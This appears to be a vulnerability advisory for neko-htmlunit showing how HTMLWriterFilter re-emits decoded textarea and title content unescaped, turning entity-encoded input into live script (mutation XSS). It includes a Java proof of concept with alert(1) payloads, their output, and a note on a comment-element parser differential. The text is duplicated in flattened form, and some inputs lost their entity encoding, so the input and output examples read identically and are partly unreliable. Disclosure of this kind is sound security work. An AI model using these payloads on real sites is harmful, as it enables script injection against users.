Summary
HTMLWriterFilter serializes <textarea> and <title> element content without entity encoding (normalize_=false), because both carry the SPECIAL flag in HTMLElements. The parser correctly decodes entity references inside these elements — per the HTML spec they are "escapable raw text" elements. The decoded content is then written back raw by printCharacters(), so a parse-serialize round-trip turns entity-encoded input into live HTML markup.
Affected Versions
| Artifact |
Version |
Status |
org.htmlunit:neko-htmlunit |
4.7.0 |
Vulnerable |
org.htmlunit:neko-htmlunit |
4.13.0 (latest 4.x) |
Vulnerable |
master branch |
5.x (source verified) |
Vulnerable |
How it works
The parser handles <textarea> as an escapable raw text element and decodes entities like < to <. When HTMLWriterFilter serializes the result, it checks htmlElements_.getElement(name).isSpecial() (line 158) — since TEXTAREA is SPECIAL, it sets normalize_=false and printCharacters() writes the decoded text with zero escaping.
The problem: SCRIPT and STYLE are also SPECIAL, but the parser never decodes entities inside those (they are raw text elements). So raw output is correct for them. TEXTAREA and TITLE are different — entities get decoded during parsing, so the serializer needs to re-encode them. It doesn't.
Step by step:
-
Input (safe — entities render as text in a browser):
<textarea></textarea><script>alert(1)</script></textarea>
-
Parser decodes entities inside TEXTAREA. Internal text content: </textarea><script>alert(1)</script>
-
HTMLWriterFilter writes it raw (normalize_=false):
<textarea></textarea><script>alert(1)</script></textarea>
-
When a browser renders this output, </textarea> closes the element early and <script>alert(1)</script> executes.
Root Cause
HTMLWriterFilter.java line 158:
normalize_ = !htmlElements_.getElement(element.getRawname()).isSpecial();
Per the HTML specification:
- SCRIPT, STYLE, XMP, PLAINTEXT — raw text elements. Parser does not decode entities. Raw serialization is correct.
- TEXTAREA, TITLE — escapable raw text elements. Parser decodes entities. Serializer must re-encode, but doesn't.
Proof of Concept
javac -cp neko-htmlunit-4.13.0.jar MXSS_POC.java
java -cp .:neko-htmlunit-4.13.0.jar MXSS_POC
import org.htmlunit.cyberneko.HTMLConfiguration;
import org.htmlunit.cyberneko.HTMLElements;
import org.htmlunit.cyberneko.filters.HTMLWriterFilter;
import org.htmlunit.cyberneko.xerces.xni.parser.XMLDocumentFilter;
import org.htmlunit.cyberneko.xerces.xni.parser.XMLInputSource;
import java.io.*;
public class MXSS_POC {
public static void main(String[] args) throws Exception {
String[] tests = {
// TEXTAREA: named entities
"<textarea></textarea><script>alert(1)</script></textarea>",
// TEXTAREA: numeric entities
"<textarea></textarea><script>alert(1)</script></textarea>",
// TITLE: named entities
"<title></title><script>alert(1)</script></title>",
};
for (String input : tests) {
HTMLConfiguration cfg = new HTMLConfiguration();
StringWriter sw = new StringWriter();
HTMLWriterFilter w = new HTMLWriterFilter(
new PrintWriter(sw), "UTF-8", new HTMLElements());
cfg.setProperty(
"http://cyberneko.org/html/properties/filters",
new XMLDocumentFilter[]{ w });
cfg.parse(new XMLInputSource(
null, null, null, new StringReader(input), null));
String output = sw.toString().trim();
boolean vuln = output.contains("<script>alert");
System.out.println(vuln ? "[VULNERABLE]" : "[SAFE]");
System.out.println(" In: " + input);
System.out.println(" Out: " + output + "\n");
}
}
}
Output:
[VULNERABLE]
In: <textarea></textarea><script>alert(1)</script></textarea>
Out: <HTML><head></head><BODY><textarea></textarea><script>alert(1)</script></textarea></BODY></HTML>
[VULNERABLE]
In: <textarea></textarea><script>alert(1)</script></textarea>
Out: <HTML><head></head><BODY><textarea></textarea><script>alert(1)</script></textarea></BODY></HTML>
[VULNERABLE]
In: <title></title><script>alert(1)</script></title>
Out: <HTML><HEAD><title></title><script>alert(1)</script></title></HEAD><body></body></HTML>
All entity forms produce the same result — named (<), decimal (<), hex (<). Double-encoded entities (&lt;) also trigger after two round-trips.
I verified in Chromium that the round-trip output executes the injected script/onerror handlers.
Related: <comment> element parser differential
The non-standard <comment> element is also defined with Element.SPECIAL in HTMLElements.java (line 276). The parser treats its content as raw text, but browsers treat <comment> as an unknown element and parse children as normal HTML. So <comment><script>alert(1)</script></comment> passes through the parser as text but executes in a browser. Different root cause (parser differential, not serialization mutation), but same isSpecial() flag.
Summary
HTMLWriterFilterserializes<textarea>and<title>element content without entity encoding (normalize_=false), because both carry theSPECIALflag inHTMLElements. The parser correctly decodes entity references inside these elements — per the HTML spec they are "escapable raw text" elements. The decoded content is then written back raw byprintCharacters(), so a parse-serialize round-trip turns entity-encoded input into live HTML markup.Affected Versions
org.htmlunit:neko-htmlunitorg.htmlunit:neko-htmlunitmasterbranchHow it works
The parser handles
<textarea>as an escapable raw text element and decodes entities like<to<. WhenHTMLWriterFilterserializes the result, it checkshtmlElements_.getElement(name).isSpecial()(line 158) — since TEXTAREA is SPECIAL, it setsnormalize_=falseandprintCharacters()writes the decoded text with zero escaping.The problem: SCRIPT and STYLE are also SPECIAL, but the parser never decodes entities inside those (they are raw text elements). So raw output is correct for them. TEXTAREA and TITLE are different — entities get decoded during parsing, so the serializer needs to re-encode them. It doesn't.
Step by step:
Input (safe — entities render as text in a browser):
Parser decodes entities inside TEXTAREA. Internal text content:
</textarea><script>alert(1)</script>HTMLWriterFilter writes it raw (
normalize_=false):When a browser renders this output,
</textarea>closes the element early and<script>alert(1)</script>executes.Root Cause
HTMLWriterFilter.javaline 158:Per the HTML specification:
Proof of Concept
Output:
All entity forms produce the same result — named (
<), decimal (<), hex (<). Double-encoded entities (&lt;) also trigger after two round-trips.I verified in Chromium that the round-trip output executes the injected script/onerror handlers.
Related:
<comment>element parser differentialThe non-standard
<comment>element is also defined withElement.SPECIALinHTMLElements.java(line 276). The parser treats its content as raw text, but browsers treat<comment>as an unknown element and parse children as normal HTML. So<comment><script>alert(1)</script></comment>passes through the parser as text but executes in a browser. Different root cause (parser differential, not serialization mutation), but sameisSpecial()flag.